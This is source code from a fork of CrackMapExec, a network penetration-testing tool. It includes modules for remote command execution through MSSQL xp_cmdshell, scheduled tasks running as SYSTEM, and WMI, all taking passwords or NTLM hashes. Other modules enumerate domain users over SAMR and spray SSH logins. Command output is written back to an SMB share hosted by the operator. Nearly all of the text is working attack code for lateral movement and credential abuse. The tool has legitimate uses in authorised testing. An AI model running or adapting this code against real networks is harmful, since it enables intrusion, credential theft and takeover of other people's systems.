172 | def complete_hosts(self, text, line, begidx, endidx):
173 | "Tab-complete 'creds' commands."
174 |
175 | commands = ["add", "remove"]
176 |
177 | mline = line.partition(' ')[2]
178 | offs = len(mline) - len(text)
179 | return [s[offs:] for s in commands if s.startswith(mline)]
180 |
181 | def complete_creds(self, text, line, begidx, endidx):
182 | "Tab-complete 'creds' commands."
183 |
184 | commands = ["add", "remove", "hash", "plaintext"]
185 |
186 | mline = line.partition(' ')[2]
187 | offs = len(mline) - len(text)
188 | return [s[offs:] for s in commands if s.startswith(mline)]
189 |
--------------------------------------------------------------------------------
/cme/protocols/mssql/mssqlexec.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 |
4 | class MSSQLEXEC:
5 |
6 | def __init__(self, connection):
7 | self.mssql_conn = connection
8 | self.outputBuffer = ''
9 |
10 | def execute(self, command, output=False):
11 | try:
12 | self.enable_xp_cmdshell()
13 | self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
14 |
15 | if output:
16 | self.mssql_conn.printReplies()
17 | self.mssql_conn.colMeta[0]['TypeData'] = 80*2
18 | self.mssql_conn.printRows()
19 | self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
20 | if len(self.outputBuffer):
21 | self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
22 |
23 | self.disable_xp_cmdshell()
24 | return self.outputBuffer
25 |
26 | except Exception as e:
27 | logging.debug('Error executing command via mssqlexec: {}'.format(e))
28 |
29 | def enable_xp_cmdshell(self):
30 | self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
31 |
32 | def disable_xp_cmdshell(self):
33 | self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
34 |
--------------------------------------------------------------------------------
/cme/protocols/rdp/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/rdp/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/rdp/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "credentials" (
9 | "id" integer PRIMARY KEY,
10 | "username" text,
11 | "password" text,
12 | "pkey" text
13 | )''')
14 |
15 | db_conn.execute('''CREATE TABLE "hosts" (
16 | "id" integer PRIMARY KEY,
17 | "ip" text,
18 | "hostname" text,
19 | "port" integer,
20 | "server_banner" text
21 | )''')
--------------------------------------------------------------------------------
/cme/protocols/rdp/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 |
3 |
4 | class navigator(DatabaseNavigator):
5 | pass
6 |
--------------------------------------------------------------------------------
/cme/protocols/smb/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/smb/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/smb/atexec.py:
--------------------------------------------------------------------------------
1 | import os
2 | import logging
3 | from impacket.dcerpc.v5 import tsch, transport
4 | from impacket.dcerpc.v5.dtypes import NULL
5 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
6 | from cme.helpers.misc import gen_random_string
7 | from time import sleep
8 |
9 | class TSCH_EXEC:
10 | def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None):
11 | self.__target = target
12 | self.__username = username
13 | self.__password = password
14 | self.__domain = domain
15 | self.__share_name = share_name
16 | self.__lmhash = ''
17 | self.__nthash = ''
18 | self.__outputBuffer = b''
19 | self.__retOutput = False
20 | self.__aesKey = aesKey
21 | self.__doKerberos = doKerberos
22 | self.__kdcHost = kdcHost
23 |
24 | if hashes is not None:
25 | #This checks to see if we didn't provide the LM Hash
26 | if hashes.find(':') != -1:
27 | self.__lmhash, self.__nthash = hashes.split(':')
28 | else:
29 | self.__nthash = hashes
30 |
31 | if self.__password is None:
32 | self.__password = ''
33 |
34 | stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target
35 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
36 |
37 | if hasattr(self.__rpctransport, 'set_credentials'):
38 | # This method exists only for selected protocol sequences.
39 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
40 | self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
41 |
42 | def execute(self, command, output=False):
43 | self.__retOutput = output
44 | self.execute_handler(command)
45 | return self.__outputBuffer
46 |
47 | def output_callback(self, data):
48 | self.__outputBuffer = data
49 |
50 | def execute_handler(self, data):
51 | if self.__retOutput:
52 | try:
53 | self.doStuff(data, fileless=False)
54 | except:
55 | self.doStuff(data)
56 | else:
57 | self.doStuff(data)
58 |
59 | def gen_xml(self, command, tmpFileName, fileless=False):
60 |
61 | xml = """
62 |
63 |
64 |
65 | 2015-07-15T20:35:13.2757294
66 | true
67 |
68 | 1
69 |
70 |
71 |
72 |
73 |
74 | S-1-5-18
75 | HighestAvailable
76 |
77 |
78 |
79 | IgnoreNew
80 | false
81 | false
82 | true
83 | false
84 |
85 | true
86 | false
87 |
88 | true
89 | true
90 | true
91 | false
92 | false
93 | P3D
94 | 7
95 |
96 |
97 |
98 | cmd.exe
99 | """
100 | if self.__retOutput:
101 | if fileless:
102 | local_ip = self.__rpctransport.get_socket().getsockname()[0]
103 | argument_xml = " /C {} > \\\\{}\\{}\\{} 2>&1".format(command, local_ip, self.__share_name, tmpFileName)
104 | else:
105 | argument_xml = " /C {} > %windir%\\Temp\\{} 2>&1".format(command, tmpFileName)
106 |
107 | elif self.__retOutput is False:
108 | argument_xml = " /C {}".format(command)
109 |
110 | logging.debug('Generated argument XML: ' + argument_xml)
111 | xml += argument_xml
112 |
113 | xml += """
114 |
115 |
116 |
117 | """
118 | return xml
119 |
120 | def doStuff(self, command, fileless=False):
121 |
122 | dce = self.__rpctransport.get_dce_rpc()
123 | if self.__doKerberos:
124 | dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
125 |
126 | dce.set_credentials(*self.__rpctransport.get_credentials())
127 | dce.connect()
128 | #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
129 | dce.bind(tsch.MSRPC_UUID_TSCHS)
130 | tmpName = gen_random_string(8)
131 | tmpFileName = tmpName + '.tmp'
132 |
133 | xml = self.gen_xml(command, tmpFileName, fileless)
134 |
135 | #logging.info("Task XML: {}".format(xml))
136 | taskCreated = False
137 | logging.info('Creating task \\%s' % tmpName)
138 | tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
139 | taskCreated = True
140 |
141 | logging.info('Running task \\%s' % tmpName)
142 | tsch.hSchRpcRun(dce, '\\%s' % tmpName)
143 |
144 | done = False
145 | while not done:
146 | logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
147 | resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
148 | if resp['pLastRuntime']['wYear'] != 0:
149 | done = True
150 | else:
151 | sleep(2)
152 |
153 | logging.info('Deleting task \\%s' % tmpName)
154 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
155 | taskCreated = False
156 |
157 | if taskCreated is True:
158 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
159 |
160 | if self.__retOutput:
161 | if fileless:
162 | while True:
163 | try:
164 | with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
165 | self.output_callback(output.read())
166 | break
167 | except IOError:
168 | sleep(2)
169 | else:
170 | peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
171 | smbConnection = self.__rpctransport.get_smb_connection()
172 | while True:
173 | try:
174 | #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
175 | smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
176 | break
177 | except Exception as e:
178 | if str(e).find('SHARING') > 0:
179 | sleep(3)
180 | elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
181 | sleep(3)
182 | else:
183 | raise
184 | #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
185 | smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
186 |
187 | dce.disconnect()
188 |
--------------------------------------------------------------------------------
/cme/protocols/smb/remotefile.py:
--------------------------------------------------------------------------------
1 | from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
2 |
3 | class RemoteFile:
4 | def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
5 | self.__smbConnection = smbConnection
6 | self.__share = share
7 | self.__access = access
8 | self.__fileName = fileName
9 | self.__tid = self.__smbConnection.connectTree(share)
10 | self.__fid = None
11 | self.__currentOffset = 0
12 |
13 | def open(self):
14 | self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access)
15 |
16 | def seek(self, offset, whence):
17 | # Implement whence, for now it's always from the beginning of the file
18 | if whence == 0:
19 | self.__currentOffset = offset
20 |
21 | def read(self, bytesToRead):
22 | if bytesToRead > 0:
23 | data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
24 | self.__currentOffset += len(data)
25 | return data
26 | return ''
27 |
28 | def close(self):
29 | if self.__fid is not None:
30 | self.__smbConnection.closeFile(self.__tid, self.__fid)
31 | self.__fid = None
32 |
33 | def delete(self):
34 | self.__smbConnection.deleteFile(self.__share, self.__fileName)
35 |
36 | def tell(self):
37 | return self.__currentOffset
38 |
39 | def __str__(self):
40 | return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
--------------------------------------------------------------------------------
/cme/protocols/smb/samruser.py:
--------------------------------------------------------------------------------
1 | #Stolen from Impacket
2 |
3 | import logging
4 | from impacket.dcerpc.v5.rpcrt import DCERPC_v5
5 | from impacket.dcerpc.v5 import transport, samr
6 | from impacket.dcerpc.v5.samr import DCERPCSessionError
7 | from impacket.dcerpc.v5.rpcrt import DCERPCException
8 | from impacket.nt_errors import STATUS_MORE_ENTRIES
9 | from impacket import ntlm
10 |
11 | class UserSamrDump:
12 |
13 | KNOWN_PROTOCOLS = {
14 | '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
15 | '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
16 | }
17 |
18 | def __init__(self, connection):
19 | self.logger = connection.logger
20 | self.addr = connection.host
21 | self.protocol = connection.args.port
22 | self.username = connection.username
23 | self.password = connection.password
24 | self.domain = connection.domain
25 | self.hash = connection.hash
26 | self.lmhash = ''
27 | self.nthash = ''
28 | self.aesKey = None
29 | self.doKerberos = False
30 | self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
31 | self.users = []
32 |
33 | if self.hash is not None:
34 | if self.hash.find(':') != -1:
35 | self.lmhash, self.nthash = self.hash.split(':')
36 | else:
37 | self.nthash = self.hash
38 |
39 | if self.password is None:
40 | self.password = ''
41 |
42 | def dump(self):
43 |
44 | # Try all requested protocols until one works.
45 | for protocol in self.protocols:
46 | try:
47 | protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
48 | port = protodef[1]
49 | except KeyError:
50 | logging.debug("Invalid Protocol '{}'".format(protocol))
51 | logging.debug("Trying protocol {}".format(protocol))
52 | rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain,
53 | self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
54 | try:
55 | self.fetchList(rpctransport)
56 | except Exception as e:
57 | logging.debug('Protocol failed: {}'.format(e))
58 | return self.users
59 |
60 | def fetchList(self, rpctransport):
61 | dce = DCERPC_v5(rpctransport)
62 | dce.connect()
63 | dce.bind(samr.MSRPC_UUID_SAMR)
64 |
65 | # Setup Connection
66 | resp = samr.hSamrConnect2(dce)
67 | if resp['ErrorCode'] != 0:
68 | raise Exception('Connect error')
69 |
70 | resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'],
71 | enumerationContext=0,
72 | preferedMaximumLength=500)
73 | if resp2['ErrorCode'] != 0:
74 | raise Exception('Connect error')
75 |
76 | resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'],
77 | name=resp2['Buffer']['Buffer'][0]['Name'])
78 | if resp3['ErrorCode'] != 0:
79 | raise Exception('Connect error')
80 |
81 | resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'],
82 | desiredAccess=samr.MAXIMUM_ALLOWED,
83 | domainId=resp3['DomainId'])
84 | if resp4['ErrorCode'] != 0:
85 | raise Exception('Connect error')
86 |
87 | self.__domains = resp2['Buffer']['Buffer']
88 | domainHandle = resp4['DomainHandle']
89 | # End Setup
90 |
91 | status = STATUS_MORE_ENTRIES
92 | enumerationContext = 0
93 | while status == STATUS_MORE_ENTRIES:
94 | try:
95 | resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
96 | except DCERPCException as e:
97 | if str(e).find('STATUS_MORE_ENTRIES') < 0:
98 | self.logger.error('Error enumerating domain user(s)')
99 | break
100 | resp = e.get_packet()
101 | self.logger.success('Enumerated domain user(s)')
102 | for user in resp['Buffer']['Buffer']:
103 | r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
104 | info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
105 | (username, uid, info_user) = (user['Name'], user['RelativeId'], info['Buffer']['All'])
106 | self.logger.highlight('{}\\{:<30} {}'.format(self.domain, user['Name'], info_user['AdminComment']))
107 | self.users.append(user['Name'])
108 | samr.hSamrCloseHandle(dce, r['UserHandle'])
109 |
110 | enumerationContext = resp['EnumerationContext']
111 | status = resp['ErrorCode']
112 |
113 | dce.disconnect()
114 |
--------------------------------------------------------------------------------
/cme/protocols/smb/wmiexec.py:
--------------------------------------------------------------------------------
1 | import ntpath, logging
2 | import os
3 |
4 | from time import sleep
5 | from cme.helpers.misc import gen_random_string
6 | from impacket.dcerpc.v5.dcomrt import DCOMConnection
7 | from impacket.dcerpc.v5.dcom import wmi
8 | from impacket.dcerpc.v5.dtypes import NULL
9 |
10 | class WMIEXEC:
11 | def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None):
12 | self.__target = target
13 | self.__username = username
14 | self.__password = password
15 | self.__domain = domain
16 | self.__lmhash = ''
17 | self.__nthash = ''
18 | self.__share = share
19 | self.__smbconnection = smbconnection
20 | self.__output = None
21 | self.__outputBuffer = b''
22 | self.__share_name = share_name
23 | self.__shell = 'cmd.exe /Q /c '
24 | self.__pwd = 'C:\\'
25 | self.__aesKey = aesKey
26 | self.__kdcHost = kdcHost
27 | self.__doKerberos = doKerberos
28 | self.__retOutput = True
29 |
30 | if hashes is not None:
31 | #This checks to see if we didn't provide the LM Hash
32 | if hashes.find(':') != -1:
33 | self.__lmhash, self.__nthash = hashes.split(':')
34 | else:
35 | self.__nthash = hashes
36 |
37 | if self.__password is None:
38 | self.__password = ''
39 | self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
40 | iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
41 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
42 | iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
43 | iWbemLevel1Login.RemRelease()
44 |
45 | self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
46 |
47 | def execute(self, command, output=False):
48 | self.__retOutput = output
49 | if self.__retOutput:
50 | self.__smbconnection.setTimeout(100000)
51 | if os.path.isfile(command):
52 | with open(command) as commands:
53 | for c in commands:
54 | self.execute_handler(c.strip())
55 | else:
56 | self.execute_handler(command)
57 | self.__dcom.disconnect()
58 | return self.__outputBuffer
59 |
60 | def cd(self, s):
61 | self.execute_remote('cd ' + s)
62 | if len(self.__outputBuffer.strip('\r\n')) > 0:
63 | print(self.__outputBuffer)
64 | self.__outputBuffer = b''
65 | else:
66 | self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
67 | self.execute_remote('cd ')
68 | self.__pwd = self.__outputBuffer.strip('\r\n')
69 | self.__outputBuffer = b''
70 |
71 | def output_callback(self, data):
72 | self.__outputBuffer += data
73 |
74 | def execute_handler(self, data):
75 | if self.__retOutput:
76 | try:
77 | logging.debug('Executing remote')
78 | self.execute_remote(data)
79 | except:
80 | self.cd('\\')
81 | self.execute_remote(data)
82 | else:
83 | self.execute_remote(data)
84 |
85 | def execute_remote(self, data):
86 | self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
87 |
88 | command = self.__shell + data
89 | if self.__retOutput:
90 | command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
91 |
92 | logging.debug('Executing command: ' + command)
93 | self.__win32Process.Create(command, self.__pwd, None)
94 | self.get_output_remote()
95 |
96 | def execute_fileless(self, data):
97 | self.__output = gen_random_string(6)
98 | local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
99 |
100 | command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
101 |
102 | logging.debug('Executing command: ' + command)
103 | self.__win32Process.Create(command, self.__pwd, None)
104 | self.get_output_fileless()
105 |
106 | def get_output_fileless(self):
107 | while True:
108 | try:
109 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
110 | self.output_callback(output.read())
111 | break
112 | except IOError:
113 | sleep(2)
114 |
115 | def get_output_remote(self):
116 | if self.__retOutput is False:
117 | self.__outputBuffer = ''
118 | return
119 |
120 | while True:
121 | try:
122 | self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
123 | break
124 | except Exception as e:
125 | if str(e).find('STATUS_SHARING_VIOLATION') >=0:
126 | # Output not finished, let's wait
127 | sleep(2)
128 | pass
129 | else:
130 | #print str(e)
131 | pass
132 |
133 | self.__smbconnection.deleteFile(self.__share, self.__output)
134 |
--------------------------------------------------------------------------------
/cme/protocols/ssh.py:
--------------------------------------------------------------------------------
1 | import paramiko
2 | import socket
3 | from cme.connection import *
4 | from cme.helpers.logger import highlight
5 | from cme.logger import CMEAdapter
6 | from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException
7 | import configparser
8 |
9 |
10 | class ssh(connection):
11 |
12 | @staticmethod
13 | def proto_args(parser, std_parser, module_parser):
14 | ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser])
15 | ssh_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
16 | ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
17 | ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
18 | ssh_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
19 |
20 | cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
21 | cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
22 | cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
23 |
24 | return parser
25 |
26 | def proto_logger(self):
27 | self.logger = CMEAdapter(extra={'protocol': 'SSH',
28 | 'host': self.host,
29 | 'port': self.args.port,
30 | 'hostname': self.hostname})
31 |
32 | def print_host_info(self):
33 | self.logger.info(self.remote_version)
34 | return True
35 |
36 | def enum_host_info(self):
37 | self.remote_version = self.conn._transport.remote_version
38 |
39 | def create_conn_obj(self):
40 | self.conn = paramiko.SSHClient()
41 | self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
42 |
43 | try:
44 | self.conn.connect(self.host, port=self.args.port)
45 | except AuthenticationException:
46 | return True
47 | except SSHException:
48 | return True
49 | except NoValidConnectionsError:
50 | return False
51 | except socket.error:
52 | return False
53 |
54 | def client_close(self):
55 | self.conn.close()
56 |
57 | def check_if_admin(self):
58 | stdin, stdout, stderr = self.conn.exec_command('id')
59 | if stdout.read().decode('utf-8').find('uid=0(root)') != -1:
60 | self.admin_privs = True
61 |
62 | def plaintext_login(self, username, password):
63 | try:
64 | if self.args.key_file:
65 | passwd = password
66 | password = u'{} (keyfile: {})'.format(passwd, self.args.key_file)
67 | self.conn.connect(self.host, port=self.args.port, username=username, passphrase=passwd, key_filename=self.args.key_file, look_for_keys=False, allow_agent=False)
68 | else:
69 | self.conn.connect(self.host, port=self.args.port, username=username, password=password, look_for_keys=False, allow_agent=False)
70 |
71 | self.check_if_admin()
72 | self.logger.success(u'{}:{} {}'.format(username,
73 | password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
74 | highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
75 | if not self.args.continue_on_success:
76 | return True
77 | except Exception as e:
78 | self.logger.error(u'{}:{} {}'.format(username,
79 | password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
80 | e))
81 | self.client_close()
82 | return False
83 |
84 | def execute(self, payload=None, get_output=False):
85 | try:
86 | stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
87 | except AttributeError:
88 | return ''
89 | self.logger.success('Executed command')
90 | for line in stdout:
91 | self.logger.highlight(line.strip())
92 |
93 | return stdout
94 |
--------------------------------------------------------------------------------
/cme/protocols/ssh/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/ssh/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/ssh/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "credentials" (
9 | "id" integer PRIMARY KEY,
10 | "username" text,
11 | "password" text,
12 | "pkey" text
13 | )''')
14 |
15 | db_conn.execute('''CREATE TABLE "hosts" (
16 | "id" integer PRIMARY KEY,
17 | "ip" text,
18 | "hostname" text,
19 | "port" integer,
20 | "server_banner" text
21 | )''')
--------------------------------------------------------------------------------
/cme/protocols/ssh/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 |
3 |
4 | class navigator(DatabaseNavigator):
5 | pass
6 |
--------------------------------------------------------------------------------
/cme/protocols/winrm/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/winrm/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/winrm/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "credentials" (
9 | "id" integer PRIMARY KEY,
10 | "username" text,
11 | "password" text
12 | )''')
13 |
14 | db_conn.execute('''CREATE TABLE "hosts" (
15 | "id" integer PRIMARY KEY,
16 | "ip" text,
17 | "hostname" text,
18 | "port" integer
19 | )''')
20 |
--------------------------------------------------------------------------------
/cme/protocols/winrm/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 |
3 |
4 | class navigator(DatabaseNavigator):
5 | pass
6 |
--------------------------------------------------------------------------------
/cme/servers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/servers/__init__.py
--------------------------------------------------------------------------------
/cme/servers/http.py:
--------------------------------------------------------------------------------
1 | import http.server
2 | import threading
3 | import ssl
4 | import os
5 | import sys
6 | import logging
7 | from http.server import BaseHTTPRequestHandler
8 | from time import sleep
9 | from cme.helpers.logger import highlight
10 | from cme.logger import CMEAdapter
11 |
12 | class RequestHandler(BaseHTTPRequestHandler):
13 |
14 | def log_message(self, format, *args):
15 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
16 | server_logger.info("- - %s" % (format%args))
17 |
18 | def do_GET(self):
19 | if hasattr(self.server.module, 'on_request'):
20 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
21 | self.server.context.log = server_logger
22 | self.server.module.on_request(self.server.context, self)
23 |
24 | def do_POST(self):
25 | if hasattr(self.server.module, 'on_response'):
26 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
27 | self.server.context.log = server_logger
28 | self.server.module.on_response(self.server.context, self)
29 |
30 | def stop_tracking_host(self):
31 | '''
32 | This gets called when a module has finshed executing, removes the host from the connection tracker list
33 | '''
34 | try:
35 | self.server.hosts.remove(self.client_address[0])
36 | if hasattr(self.server.module, 'on_shutdown'):
37 | self.server.module.on_shutdown(self.server.context, self.server.connection)
38 | except ValueError:
39 | pass
40 |
41 | class CMEServer(threading.Thread):
42 |
43 | def __init__(self, module, context, logger, srv_host, port, server_type='https'):
44 |
45 | try:
46 | threading.Thread.__init__(self)
47 |
48 | self.server = http.server.HTTPServer((srv_host, int(port)), RequestHandler)
49 | self.server.hosts = []
50 | self.server.module = module
51 | self.server.context = context
52 | self.server.log = CMEAdapter(extra={'module': self.server.module.name.upper()})
53 | self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
54 | self.server.track_host = self.track_host
55 |
56 | logging.debug('CME server type: ' + server_type)
57 | if server_type == 'https':
58 | self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
59 |
60 | except Exception as e:
61 | errno, message = e.args
62 | if errno == 98 and message == 'Address already in use':
63 | logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
64 | else:
65 | logger.error('Error starting HTTP(S) server: {}'.format(message))
66 |
67 | sys.exit(1)
68 |
69 | def base_server(self):
70 | return self.server
71 |
72 | def track_host(self, host_ip):
73 | self.server.hosts.append(host_ip)
74 |
75 | def run(self):
76 | try:
77 | self.server.serve_forever()
78 | except:
79 | pass
80 |
81 | def shutdown(self):
82 | try:
83 | while len(self.server.hosts) > 0:
84 | self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
85 | sleep(15)
86 | except KeyboardInterrupt:
87 | pass
88 |
89 | # shut down the server/socket
90 | self.server.shutdown()
91 | self.server.socket.close()
92 | self.server.server_close()
93 |
94 | # make sure all the threads are killed
95 | for thread in threading.enumerate():
96 | if thread.is_alive():
97 | try:
98 | thread._stop()
99 | except:
100 | pass
101 |
--------------------------------------------------------------------------------
/cme/servers/smb.py:
--------------------------------------------------------------------------------
1 | import threading
2 | import logging
3 | from sys import exit
4 | from impacket import smbserver
5 |
6 | class CMESMBServer(threading.Thread):
7 |
8 | def __init__(self, logger, share_name, share_path='/tmp/cme_hosted', listen_address='0.0.0.0', listen_port=445, verbose=False):
9 | try:
10 | threading.Thread.__init__(self)
11 | self.server = smbserver.SimpleSMBServer(listen_address, listen_port)
12 | self.server.addShare(share_name.upper(), share_path)
13 | if verbose: self.server.setLogFile('')
14 | self.server.setSMB2Support(True)
15 | self.server.setSMBChallenge('')
16 | except Exception as e:
17 | errno, message = e.args
18 | if errno == 98 and message == 'Address already in use':
19 | logger.error('Error starting SMB server on port 445: the port is already in use')
20 | else:
21 | logger.error('Error starting SMB server on port 445: {}'.format(message))
22 | exit(1)
23 |
24 | def addShare(self, share_name, share_path):
25 | self.server.addShare(share_name, share_path)
26 |
27 | def run(self):
28 | try:
29 | self.server.start()
30 | except:
31 | pass
32 |
33 | def shutdown(self):
34 | # TODO: should fine the proper way
35 | # make sure all the threads are killed
36 | for thread in threading.enumerate():
37 | if thread.is_alive():
38 | try:
39 | self._stop()
40 | except:
41 | pass
42 |
--------------------------------------------------------------------------------
/crackmapexec.spec:
--------------------------------------------------------------------------------
1 | # -*- mode: python ; coding: utf-8 -*-
2 |
3 | block_cipher = None
4 |
5 |
6 | a = Analysis(['./cme/crackmapexec.py'],
7 | pathex=['./cme'],
8 | binaries=[],
9 | datas=[('./cme/protocols', 'cme/protocols'),('./cme/data', 'cme/data'),('./cme/modules', 'cme/modules')],
10 | hiddenimports=['cme.protocols.mssql.mssqlexec', 'cme.connection', 'impacket.examples.secretsdump', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'cme.servers.smb', 'cme.protocols.smb.wmiexec', 'cme.protocols.smb.atexec', 'cme.protocols.smb.smbexec', 'cme.protocols.smb.mmcexec', 'cme.protocols.smb.smbspider', 'cme.protocols.smb.passpol', 'paramiko', 'pypsrp.client', 'pywerview.cli.helpers', 'impacket.tds', 'impacket.version', 'cme.helpers.bash', 'pylnk3', 'lsassy','win32timezone', 'impacket.tds', 'impacket.ldap.ldap', 'impacket.tds'],
11 | hookspath=['./cme/.hooks'],
12 | runtime_hooks=[],
13 | excludes=[],
